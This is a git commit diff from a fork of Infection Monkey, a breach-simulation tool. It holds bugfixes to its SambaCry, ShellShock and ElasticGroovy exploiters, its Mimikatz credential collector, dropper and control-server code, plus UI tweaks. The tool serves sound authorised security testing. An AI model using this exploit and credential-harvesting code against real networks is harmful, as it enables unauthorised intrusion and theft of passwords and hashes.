forked from p15670423/monkey
Merge pull request #54 from guardicore/bugfix/various-fixes
Bugfix/various fixes
This commit is contained in:
commit
62713932de
|
@ -1 +1 @@
|
|||
c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
|
||||
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
|
|
@ -213,7 +213,7 @@ class Configuration(object):
|
|||
# exploiters config
|
||||
###########################
|
||||
|
||||
skip_exploit_if_file_exist = True
|
||||
skip_exploit_if_file_exist = False
|
||||
|
||||
ms08_067_exploit_attempts = 5
|
||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
import json
|
||||
import logging
|
||||
import requests
|
||||
import platform
|
||||
import monkeyfs
|
||||
from network.info import local_ips, check_internet_access
|
||||
from socket import gethostname
|
||||
from config import WormConfiguration, GUID
|
||||
from transport.tcp import TcpProxy
|
||||
from transport.http import HTTPConnectProxy
|
||||
|
||||
import requests
|
||||
|
||||
import monkeyfs
|
||||
import tunnel
|
||||
from config import WormConfiguration, GUID
|
||||
from network.info import local_ips, check_internet_access
|
||||
from transport.http import HTTPConnectProxy
|
||||
from transport.tcp import TcpProxy
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -60,7 +62,7 @@ class ControlClient(object):
|
|||
timeout=20)
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
WormConfiguration.current_server = ""
|
||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
||||
|
||||
|
@ -83,13 +85,13 @@ class ControlClient(object):
|
|||
try:
|
||||
monkey = {}
|
||||
if ControlClient.proxies:
|
||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||
data=json.dumps(monkey),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
return {}
|
||||
|
@ -97,7 +99,7 @@ class ControlClient(object):
|
|||
@staticmethod
|
||||
def send_telemetry(tele_type='general', data=''):
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
return
|
||||
try:
|
||||
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data': data}
|
||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||
|
@ -105,20 +107,20 @@ class ControlClient(object):
|
|||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
@staticmethod
|
||||
def load_control_config():
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
return
|
||||
try:
|
||||
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
return
|
||||
|
@ -126,7 +128,7 @@ class ControlClient(object):
|
|||
try:
|
||||
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
|
||||
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
# we don't continue with default conf here because it might be dangerous
|
||||
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
|
||||
WormConfiguration.current_server, reply._content, exc)
|
||||
|
@ -141,11 +143,11 @@ class ControlClient(object):
|
|||
return
|
||||
try:
|
||||
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||
data=json.dumps({'config_error': True}),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception, exc:
|
||||
data=json.dumps({'config_error': True}),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
||||
return {}
|
||||
|
||||
|
@ -215,7 +217,7 @@ class ControlClient(object):
|
|||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
|
@ -243,7 +245,7 @@ class ControlClient(object):
|
|||
else:
|
||||
return None, None
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
|
@ -253,7 +255,7 @@ class ControlClient(object):
|
|||
def create_control_tunnel():
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
|
||||
|
||||
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
|
||||
if my_proxy:
|
||||
proxy_class = TcpProxy
|
||||
|
|
|
@ -1,17 +1,17 @@
|
|||
import argparse
|
||||
import ctypes
|
||||
import logging
|
||||
import os
|
||||
import pprint
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import ctypes
|
||||
import shutil
|
||||
import pprint
|
||||
import logging
|
||||
import subprocess
|
||||
import argparse
|
||||
from ctypes import c_char_p
|
||||
|
||||
from config import WormConfiguration
|
||||
from exploit.tools import build_monkey_commandline_explicitly
|
||||
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from config import WormConfiguration
|
||||
from system_info import SystemInfoCollector, OperatingSystem
|
||||
|
||||
if "win32" == sys.platform:
|
||||
|
@ -19,6 +19,12 @@ if "win32" == sys.platform:
|
|||
else:
|
||||
DETACHED_PROCESS = 0
|
||||
|
||||
# Linux doesn't have WindowsError
|
||||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -59,10 +65,10 @@ class MonkeyDrops(object):
|
|||
self._config['destination_path'])
|
||||
|
||||
LOG.info("Moved source file '%s' into '%s'",
|
||||
self._config['source_path'], self._config['destination_path'])
|
||||
self._config['source_path'], self._config['destination_path'])
|
||||
|
||||
file_moved = True
|
||||
except (WindowsError, IOError, OSError), exc:
|
||||
except (WindowsError, IOError, OSError) as exc:
|
||||
LOG.debug("Error moving source file '%s' into '%s': %s",
|
||||
self._config['source_path'], self._config['destination_path'],
|
||||
exc)
|
||||
|
@ -74,8 +80,8 @@ class MonkeyDrops(object):
|
|||
self._config['destination_path'])
|
||||
|
||||
LOG.info("Copied source file '%s' into '%s'",
|
||||
self._config['source_path'], self._config['destination_path'])
|
||||
except (WindowsError, IOError, OSError), exc:
|
||||
self._config['source_path'], self._config['destination_path'])
|
||||
except (WindowsError, IOError, OSError) as exc:
|
||||
LOG.error("Error copying source file '%s' into '%s': %s",
|
||||
self._config['source_path'], self._config['destination_path'],
|
||||
exc)
|
||||
|
@ -89,7 +95,7 @@ class MonkeyDrops(object):
|
|||
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
|
||||
try:
|
||||
ref_stat = os.stat(dropper_date_reference_path)
|
||||
except:
|
||||
except OSError as exc:
|
||||
LOG.warn("Cannot set reference date using '%s', file not found",
|
||||
dropper_date_reference_path)
|
||||
else:
|
||||
|
@ -131,15 +137,15 @@ class MonkeyDrops(object):
|
|||
# try removing the file first
|
||||
try:
|
||||
os.remove(self._config['source_path'])
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
|
||||
|
||||
# mark the file for removal on next boot
|
||||
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
|
||||
if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT):
|
||||
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT):
|
||||
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
|
||||
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
|
||||
else:
|
||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config['source_path'])
|
||||
self._config['source_path'])
|
||||
|
|
|
@ -62,7 +62,7 @@
|
|||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"skip_exploit_if_file_exist": true,
|
||||
"skip_exploit_if_file_exist": false,
|
||||
"exploit_user_list": [],
|
||||
"exploit_password_list": [],
|
||||
"exploit_lm_hash_list": [],
|
||||
|
|
|
@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
|
||||
return False
|
||||
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
|
||||
major = int(major)
|
||||
minor = int(minor)
|
||||
build = int(build)
|
||||
if major > 1:
|
||||
return False
|
||||
if major == 1 and minor > 4:
|
||||
|
|
|
@ -206,6 +206,9 @@ class SambaCryExploiter(HostExploiter):
|
|||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
|
||||
samba_version_parts[1] <= "3"):
|
||||
is_vulnerable = True
|
||||
else:
|
||||
# If pattern doesn't match we can't tell what version it is. Better try
|
||||
is_vulnerable = True
|
||||
|
||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||
|
@ -304,7 +307,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
try:
|
||||
# the extra / on the beginning is required for the vulnerability
|
||||
self.open_pipe(smb_client, "/" + module_path)
|
||||
except (impacket.smbconnection.SessionError, SessionError) as e:
|
||||
except Exception as e:
|
||||
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
return True
|
||||
|
|
|
@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
# we want to report all vulnerable URLs even if we didn't succeed
|
||||
# let's overload this
|
||||
[self.report_vuln_shellshock(host, url) for url in exploitable_urls]
|
||||
# TODO: uncomment when server is ready for it
|
||||
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
|
||||
|
||||
# now try URLs until we install something on victim
|
||||
for _, url, header, exploit in exploitable_urls:
|
||||
|
|
|
@ -171,9 +171,11 @@ class ChaosMonkey(object):
|
|||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||
'exploiter': exploiter.__class__.__name__})
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||
'exploiter': exploiter.__class__.__name__})
|
||||
continue
|
||||
|
||||
if successful_exploiter:
|
||||
|
|
|
@ -6,6 +6,12 @@ from enum import IntEnum
|
|||
|
||||
from network.info import get_host_subnets
|
||||
|
||||
# Linux doesn't have WindowsError
|
||||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
__author__ = 'uri'
|
||||
|
||||
|
||||
|
|
|
@ -1,14 +1,13 @@
|
|||
import ctypes
|
||||
import binascii
|
||||
import logging
|
||||
import socket
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
||||
|
||||
class MimikatzCollector:
|
||||
"""
|
||||
Password collection module for Windows using Mimikatz.
|
||||
|
@ -24,7 +23,7 @@ class MimikatzCollector:
|
|||
self._collect = collect_proto(("collect", self._dll))
|
||||
self._get = get_proto(("get", self._dll))
|
||||
self._isInit = True
|
||||
except StandardError as ex:
|
||||
except StandardError:
|
||||
LOG.exception("Error initializing mimikatz collector")
|
||||
|
||||
def get_logon_info(self):
|
||||
|
@ -40,18 +39,28 @@ class MimikatzCollector:
|
|||
entry_count = self._collect()
|
||||
|
||||
logon_data_dictionary = {}
|
||||
hostname = socket.gethostname()
|
||||
|
||||
for i in range(entry_count):
|
||||
entry = self._get()
|
||||
username = str(entry.username)
|
||||
password = str(entry.password)
|
||||
username = entry.username.encode('utf-8').strip()
|
||||
|
||||
password = entry.password.encode('utf-8').strip()
|
||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
||||
has_password = (0 != len(password))
|
||||
|
||||
if 0 == len(password):
|
||||
has_password = False
|
||||
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
|
||||
# Don't save the password of the host domain user (HOSTNAME$)
|
||||
has_password = False
|
||||
else:
|
||||
has_password = True
|
||||
|
||||
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
||||
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
||||
|
||||
if not logon_data_dictionary.has_key(username):
|
||||
if username not in logon_data_dictionary:
|
||||
logon_data_dictionary[username] = {}
|
||||
if has_password:
|
||||
logon_data_dictionary[username]["password"] = password
|
||||
|
@ -61,7 +70,7 @@ class MimikatzCollector:
|
|||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||
|
||||
return logon_data_dictionary
|
||||
except StandardError as ex:
|
||||
except StandardError:
|
||||
LOG.exception("Error getting logon info")
|
||||
return {}
|
||||
|
||||
|
@ -75,8 +84,8 @@ class MimikatzCollector:
|
|||
|
||||
_fields_ = \
|
||||
[
|
||||
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
||||
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
||||
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
||||
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
||||
]
|
||||
|
|
|
@ -1,7 +1,8 @@
|
|||
import sys
|
||||
import ctypes
|
||||
import logging
|
||||
import sys
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
from config import WormConfiguration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -28,7 +29,7 @@ class _SystemSingleton(object):
|
|||
|
||||
class WindowsSystemSingleton(_SystemSingleton):
|
||||
def __init__(self):
|
||||
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
|
||||
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
|
||||
self._mutex_handle = None
|
||||
|
||||
@property
|
||||
|
@ -53,7 +54,7 @@ class WindowsSystemSingleton(_SystemSingleton):
|
|||
self._mutex_name)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
self._mutex_handle = handle
|
||||
|
||||
LOG.debug("Global singleton mutex %r acquired",
|
||||
|
@ -79,16 +80,16 @@ class LinuxSystemSingleton(_SystemSingleton):
|
|||
|
||||
def try_lock(self):
|
||||
assert self._sock_handle is None, "Singleton already locked"
|
||||
|
||||
|
||||
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
|
||||
|
||||
try:
|
||||
sock.bind('\0' + self._unix_sock_name)
|
||||
except socket.error, e:
|
||||
except socket.error as e:
|
||||
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
|
||||
self._unix_sock_name, e.args[0], e.args[1])
|
||||
return False
|
||||
|
||||
|
||||
self._sock_handle = sock
|
||||
|
||||
LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name)
|
||||
|
@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton):
|
|||
self._sock_handle.close()
|
||||
self._sock_handle = None
|
||||
|
||||
|
||||
if sys.platform == "win32":
|
||||
import winerror
|
||||
|
||||
SystemSingleton = WindowsSystemSingleton
|
||||
else:
|
||||
import socket
|
||||
|
||||
SystemSingleton = LinuxSystemSingleton
|
||||
|
|
|
@ -1,10 +1,14 @@
|
|||
import urllib, BaseHTTPServer, threading, os.path
|
||||
import monkeyfs
|
||||
from logging import getLogger
|
||||
from base import TransportProxyBase, update_last_serve_time
|
||||
from urlparse import urlsplit
|
||||
import BaseHTTPServer
|
||||
import os.path
|
||||
import select
|
||||
import socket
|
||||
import threading
|
||||
import urllib
|
||||
from logging import getLogger
|
||||
from urlparse import urlsplit
|
||||
|
||||
import monkeyfs
|
||||
from base import TransportProxyBase, update_last_serve_time
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -24,7 +28,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
|
||||
def do_POST(self):
|
||||
self.send_error(501, "Unsupported method (POST)")
|
||||
return
|
||||
return
|
||||
|
||||
def do_GET(self):
|
||||
"""Serve a GET request."""
|
||||
|
@ -55,9 +59,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
f.close()
|
||||
|
||||
def send_head(self):
|
||||
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
|
||||
self.send_error (500, "")
|
||||
return
|
||||
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
|
||||
self.send_error(500, "")
|
||||
return None, 0, 0
|
||||
f = None
|
||||
try:
|
||||
f = monkeyfs.open(self.filename, 'rb')
|
||||
|
@ -67,7 +71,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
size = monkeyfs.getsize(self.filename)
|
||||
start_range = 0
|
||||
end_range = size
|
||||
|
||||
|
||||
if "Range" in self.headers:
|
||||
s, e = self.headers['range'][6:].split('-', 1)
|
||||
sl = len(s)
|
||||
|
@ -80,7 +84,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
ei = int(e)
|
||||
if ei < size:
|
||||
start_range = size - ei
|
||||
|
||||
|
||||
if start_range == 0 and end_range - start_range >= size:
|
||||
self.send_response(200)
|
||||
else:
|
||||
|
@ -88,7 +92,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
else:
|
||||
self.send_response(200)
|
||||
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
|
||||
self.send_header("Content-Length", min(end_range - start_range, size))
|
||||
self.end_headers()
|
||||
|
@ -101,9 +105,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
|
||||
|
||||
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
timeout = 30 # timeout with clients, set to None not to make persistent connection
|
||||
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||
protocol_version = "HTTP/1.1"
|
||||
timeout = 30 # timeout with clients, set to None not to make persistent connection
|
||||
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||
protocol_version = "HTTP/1.1"
|
||||
|
||||
def version_string(self):
|
||||
return ""
|
||||
|
@ -120,7 +124,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
conn = socket.create_connection(address)
|
||||
except socket.error, e:
|
||||
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
|
||||
self.send_error(504) # 504 Gateway Timeout
|
||||
self.send_error(504) # 504 Gateway Timeout
|
||||
return
|
||||
self.send_response(200, 'Connection Established')
|
||||
self.send_header('Connection', 'close')
|
||||
|
@ -163,12 +167,12 @@ class HTTPServer(threading.Thread):
|
|||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0],dest[1]))
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
self.downloads += 1
|
||||
|
||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd.timeout = 0.5 # this is irrelevant?
|
||||
|
||||
httpd.timeout = 0.5 # this is irrelevant?
|
||||
|
||||
while not self._stopped and self.downloads < self.max_downloads:
|
||||
httpd.handle_request()
|
||||
|
||||
|
|
|
@ -1,14 +1,15 @@
|
|||
import logging
|
||||
import socket
|
||||
import struct
|
||||
import logging
|
||||
from threading import Thread
|
||||
from network.info import local_ips, get_free_tcp_port
|
||||
from network.firewall import app as firewall
|
||||
from transport.base import get_last_serve_time
|
||||
from difflib import get_close_matches
|
||||
from network.tools import check_port_tcp
|
||||
from model import VictimHost
|
||||
import time
|
||||
from difflib import get_close_matches
|
||||
from threading import Thread
|
||||
|
||||
from model import VictimHost
|
||||
from network.firewall import app as firewall
|
||||
from network.info import local_ips, get_free_tcp_port
|
||||
from network.tools import check_port_tcp
|
||||
from transport.base import get_last_serve_time
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
|
|||
|
||||
try:
|
||||
sock.sendto("+", (address, MCAST_PORT))
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
||||
|
||||
if not existing_sock:
|
||||
|
@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
sock.close()
|
||||
return address, port
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.debug("Caught exception in tunnel lookup: %s", exc)
|
||||
continue
|
||||
|
||||
|
@ -103,8 +104,8 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
|||
sock = _set_multicast_socket(timeout)
|
||||
sock.sendto("-", (address, MCAST_PORT))
|
||||
sock.close()
|
||||
LOG.debug("Success quitting tunnel")
|
||||
except Exception, exc:
|
||||
LOG.debug("Success quitting tunnel")
|
||||
except Exception as exc:
|
||||
LOG.debug("Exception quitting tunnel: %s", exc)
|
||||
return
|
||||
|
||||
|
@ -157,9 +158,9 @@ class MonkeyTunnel(Thread):
|
|||
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
|
||||
self._clients.append(address[0])
|
||||
elif '-' == search:
|
||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||
self._clients = [client for client in self._clients if client != address[0]]
|
||||
|
||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||
self._clients = [client for client in self._clients if client != address[0]]
|
||||
|
||||
except socket.timeout:
|
||||
continue
|
||||
|
||||
|
@ -190,4 +191,4 @@ class MonkeyTunnel(Thread):
|
|||
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
|
||||
|
||||
def stop(self):
|
||||
self._stopped = True
|
||||
self._stopped = True
|
||||
|
|
|
@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource):
|
|||
update['$set']['config_error'] = monkey_json['config_error']
|
||||
|
||||
if 'tunnel' in monkey_json:
|
||||
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
||||
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
|
||||
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
|
||||
|
||||
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
||||
|
||||
|
@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource):
|
|||
else:
|
||||
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
|
||||
|
||||
tunnel_host_id = None
|
||||
tunnel_host_ip = None
|
||||
if 'tunnel' in monkey_json:
|
||||
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
||||
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
monkey_json.pop('tunnel')
|
||||
|
||||
mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
||||
|
@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource):
|
|||
|
||||
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
|
||||
|
||||
if tunnel_host_id is not None:
|
||||
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
|
||||
if tunnel_host_ip is not None:
|
||||
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
|
||||
|
||||
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
|
||||
|
||||
|
|
|
@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource):
|
|||
def process_tunnel_telemetry(self, telemetry_json):
|
||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
||||
if telemetry_json['data']['proxy'] is not None:
|
||||
host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
||||
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
|
||||
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
||||
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
|
||||
else:
|
||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||
|
||||
|
|
|
@ -506,7 +506,7 @@ SCHEMA = {
|
|||
"skip_exploit_if_file_exist": {
|
||||
"title": "Skip exploit if file exists",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"default": False,
|
||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -22,7 +22,7 @@ class EdgeService:
|
|||
|
||||
@staticmethod
|
||||
def edge_to_displayed_edge(edge):
|
||||
services = {}
|
||||
services = []
|
||||
os = {}
|
||||
exploits = []
|
||||
if len(edge["scans"]) > 0:
|
||||
|
@ -52,6 +52,7 @@ class EdgeService:
|
|||
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
||||
|
||||
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
||||
|
||||
displayed_edge["ip_address"] = edge["ip_address"]
|
||||
displayed_edge["services"] = services
|
||||
displayed_edge["os"] = os
|
||||
|
|
|
@ -148,7 +148,8 @@ class NodeService:
|
|||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def set_monkey_tunnel(monkey_id, tunnel_host_id):
|
||||
def set_monkey_tunnel(monkey_id, tunnel_host_ip):
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
|
||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||
mongo.db.monkey.update(
|
||||
{"_id": monkey_id},
|
||||
|
@ -156,7 +157,7 @@ class NodeService:
|
|||
upsert=False)
|
||||
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
|
||||
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
|
||||
{'$set': {'tunnel': True}},
|
||||
{'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_
|
|||
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
|
||||
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
|
||||
|
||||
let legend = require('../../images/map-legend.png');
|
||||
|
||||
let getGroupsOptions = () => {
|
||||
let groupOptions = {};
|
||||
for (let groupName of groupNames) {
|
||||
|
@ -28,6 +30,7 @@ let options = {
|
|||
improvedLayout: false
|
||||
},
|
||||
edges: {
|
||||
width: 2,
|
||||
smooth: {
|
||||
type: 'curvedCW'
|
||||
}
|
||||
|
@ -61,7 +64,7 @@ class MapPageComponent extends React.Component {
|
|||
case 'exploited':
|
||||
return '#c00';
|
||||
case 'tunnel':
|
||||
return '#aaa';
|
||||
return '#0058aa';
|
||||
case 'scan':
|
||||
return '#f90';
|
||||
case 'island':
|
||||
|
@ -129,6 +132,9 @@ class MapPageComponent extends React.Component {
|
|||
<Col xs={12}>
|
||||
<h1 className="page-title">Infection Map</h1>
|
||||
</Col>
|
||||
<Col xs={12}>
|
||||
<img src={legend}/>
|
||||
</Col>
|
||||
<Col xs={8}>
|
||||
<Graph graph={this.state.graph} options={options} events={this.events}/>
|
||||
</Col>
|
||||
|
|
|
